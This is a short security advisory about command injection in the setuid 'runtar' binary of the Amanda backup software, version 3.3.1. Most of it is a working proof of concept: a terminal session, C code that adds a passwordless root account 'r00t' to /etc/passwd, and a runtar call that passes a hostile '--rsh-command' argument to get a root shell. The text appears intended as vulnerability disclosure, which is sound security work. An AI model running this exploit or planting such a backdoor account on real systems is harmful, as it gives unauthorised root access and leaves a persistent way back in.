amanda-backup.txt

AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup 
solution that allows the IT administrator to set up a single master backup
server to back up multiple hosts over network to tape drives/changers or 
disks or optical media. Amanda uses native utilities and formats (e.g. dump
and/or GNU tar) and can back up a large number of servers and workstations
running multiple versions of Linux or Unix. 

A user with backup privs can trivially compromise a client installation.
The "runtar" setuid root binary does not check for additional arguments
supplied after --create, allowing users to manipulate commands and perform
command injection as root. Tested against Amanda 3.3.1.

An example is shown below:

$ uname -a
Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux
$ ls -al /usr/lib/amanda/runtar
-rwsr-xr-- 1 root backup 9776 Jul 29  2012 /usr/lib/amanda/runtar
$ id
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
$ cat /tmp/x.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(){
        setreuid(0,0);
        setregid(0,0);
        system("echo r00t::0:0::/:/bin/sh >> /etc/passwd");
        exit(0);
}
$ su - r00t
No passwd entry for user 'r00t'
$ gcc x.c -o x
$ /usr/lib/amanda/runtar NOCONFIG tar --create --rsh-command=/tmp/x -vf localhost:/tmp/lol /etc/passwd
tar: localhost\:/tmp/lol: Cannot open: Input/output error
tar: Error is not recoverable: exiting now
$ su - r00t
# id
uid=0(root) gid=0(root) groups=0(root)

 -- Hacker Fantastic